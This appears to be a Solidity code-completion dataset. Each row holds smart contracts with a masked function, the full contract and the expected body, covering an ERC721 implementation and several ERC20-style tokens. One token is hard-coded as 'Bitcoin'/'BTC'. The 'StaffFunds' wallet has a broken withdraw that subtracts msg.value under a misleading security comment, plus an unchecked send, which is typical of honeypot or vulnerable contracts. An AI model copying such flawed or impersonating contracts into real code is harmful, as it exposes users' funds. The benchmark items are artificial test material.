function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {<FILL_FUNCTION_BODY> }
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId ) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data ) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
} | contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) internal _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap internal _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
<FILL_FUNCTION>
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId ) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data ) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
} |
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
| function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override | /**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override |
64800 | Token | approveAndCall | contract Token is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It’s like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// برای توکن خود مقدارهای زیر را تغییر دهید
//
//make sure this function name matches the contract name above. So if you’re token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token
function Token(
) {
balances[msg.sender] = 21000000; // تمام توکنهای ساخته شده سازنده برسد -عددی وارد کنید مثلا 100000
totalSupply = 21000000; // تمام عرضه
name = 'Bitcoin'; // نام توکن
decimals = 4; // اعشار
symbol = 'BTC'; // نماد توکن
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract Token is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It’s like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// برای توکن خود مقدارهای زیر را تغییر دهید
//
//make sure this function name matches the contract name above. So if you’re token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token
function Token(
) {
balances[msg.sender] = 21000000; // تمام توکنهای ساخته شده سازنده برسد -عددی وارد کنید مثلا 100000
totalSupply = 21000000; // تمام عرضه
name = 'Bitcoin'; // نام توکن
decimals = 4; // اعشار
symbol = 'BTC'; // نماد توکن
}
<FILL_FUNCTION>
} |
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn’t have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3('receiveApproval(address,uint256,address,bytes)'))), msg.sender, _value, this, _extraData)) { throw; }
return true;
| function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) | /* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) |
88602 | PROM | burn | contract PROM {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function PROM(
) public {
totalSupply = 777000000000000000000000000; // Total supply with the decimal amount
balanceOf[msg.sender] = 777000000000000000000000000; // All initial tokens
name = "Pro Marketer"; // The name for display purposes
symbol = "PROM"; // The symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} | contract PROM {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function PROM(
) public {
totalSupply = 777000000000000000000000000; // Total supply with the decimal amount
balanceOf[msg.sender] = 777000000000000000000000000; // All initial tokens
name = "Pro Marketer"; // The name for display purposes
symbol = "PROM"; // The symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
<FILL_FUNCTION>
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} |
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
| function burn(uint256 _value) public returns (bool success) | /**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) |
67434 | StaffFunds | deposit | contract StaffFunds is Owned {
address public Owner;
mapping (address=>uint) public deposits;
function StaffWallet() { Owner = msg.sender; }
function() payable { }
function deposit() payable {<FILL_FUNCTION_BODY> }
function withdraw(uint amount) onlyOwner { // only BOD can initiate payments as requested
uint depo = deposits[msg.sender];
deposits[msg.sender] -= msg.value; // MAX: for security re entry attack dnr
if( amount <= depo && depo > 0 )
msg.sender.send(amount);
}
//TODO
function kill() onlyOwner {
require(this.balance == 0); // MAX: prevent losing funds
suicide(msg.sender);
}
} | contract StaffFunds is Owned {
address public Owner;
mapping (address=>uint) public deposits;
function StaffWallet() { Owner = msg.sender; }
function() payable { }
<FILL_FUNCTION>
function withdraw(uint amount) onlyOwner { // only BOD can initiate payments as requested
uint depo = deposits[msg.sender];
deposits[msg.sender] -= msg.value; // MAX: for security re entry attack dnr
if( amount <= depo && depo > 0 )
msg.sender.send(amount);
}
//TODO
function kill() onlyOwner {
require(this.balance == 0); // MAX: prevent losing funds
suicide(msg.sender);
}
} | // For employee benefits
if( msg.value >= 1 ether ) // prevent dust payments
deposits[msg.sender] += msg.value;
else return;
| function deposit() payable | function deposit() payable |
24462 | minishop | buy | contract minishop{
event Buy(address indexed producer, bytes32 indexed productHash, address indexed buyer);
function buy(address _producer, bytes32 _productHash) public
{<FILL_FUNCTION_BODY> }
} | contract minishop{
event Buy(address indexed producer, bytes32 indexed productHash, address indexed buyer);
<FILL_FUNCTION>
} |
emit Buy(_producer, _productHash, msg.sender);
| function buy(address _producer, bytes32 _productHash) public
| function buy(address _producer, bytes32 _productHash) public
|
69442 | TimedCrowdsale | null | contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
